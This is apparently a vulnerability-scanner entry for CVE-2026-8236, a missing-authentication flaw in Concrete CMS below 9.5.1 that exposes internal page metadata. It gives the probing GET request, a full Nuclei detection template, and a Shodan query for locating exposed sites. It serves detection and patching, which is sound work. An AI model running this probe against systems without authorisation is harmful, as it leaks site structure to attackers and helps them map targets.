Concrete CMS <9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure

mediumseverity

5.3CVSS score

0.7%likelihood of exploitation, next 30 days

53%of all CVEs are less likely

Readycheck to confirm it

Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.

Impact

Remote attackers can access internal site structure data, potentially exposing sensitive information about the site.

Fix

Update to a version later than 9.5.0 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/index.php/ccm/system/dialogs/file/usage/1
Positive when: contains "<td>Page ID</td>" and "class=\"ccm-ui\"" and "<td>Handle</td>" AND status 200

Run it with nuclei: nuclei -id CVE-2026-8236 -u <target>

The full check

id: CVE-2026-8236

info:
  name: Concrete CMS <9.5.1 - Unauthenticated File-Usage Internal Metadata Disclosure
  author: str4k3r
  severity: medium
  description: |
    Concrete CMS 9.5.0 and below is vulnerable to IDOR combined with a missing authentication gate. The endpoint /ccm/system/dialogs/file/usage/{fID} accepts an integer file ID in the URL and returns internal site structure data (page IDs, versions, URL paths) to anyone who sends a GET request.
  impact: |
    Remote attackers can access internal site structure data, potentially exposing sensitive information about the site.
  remediation: |
    Update to a version later than 9.5.0 or the latest available version.
  reference:
    - https://documentation.concretecms.org/9-x/developers/9.5.1-security-releases
  classification:
    cve-id: CVE-2026-8236
    epss-score: 0.00675
    epss-percentile: 0.5253
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
  metadata:
    verified: true
    max-request: 1
    vendor: concretecms
    product: concrete_cms
    shodan-query: html:"/index.php/ccm/system/"
  tags: cve,cve2026,concretecms,concrete5,cms,unauth,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/ccm/system/dialogs/file/usage/1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<td>Page ID</td>'
          - 'class="ccm-ui"'
          - '<td>Handle</td>'
        condition: and

      - type: status
        status:
          - 200

References

https://documentation.concretecms.org/9-x/developers/9.5.1-security-releases

Use this check only on systems you are authorised to test. Where the data comes from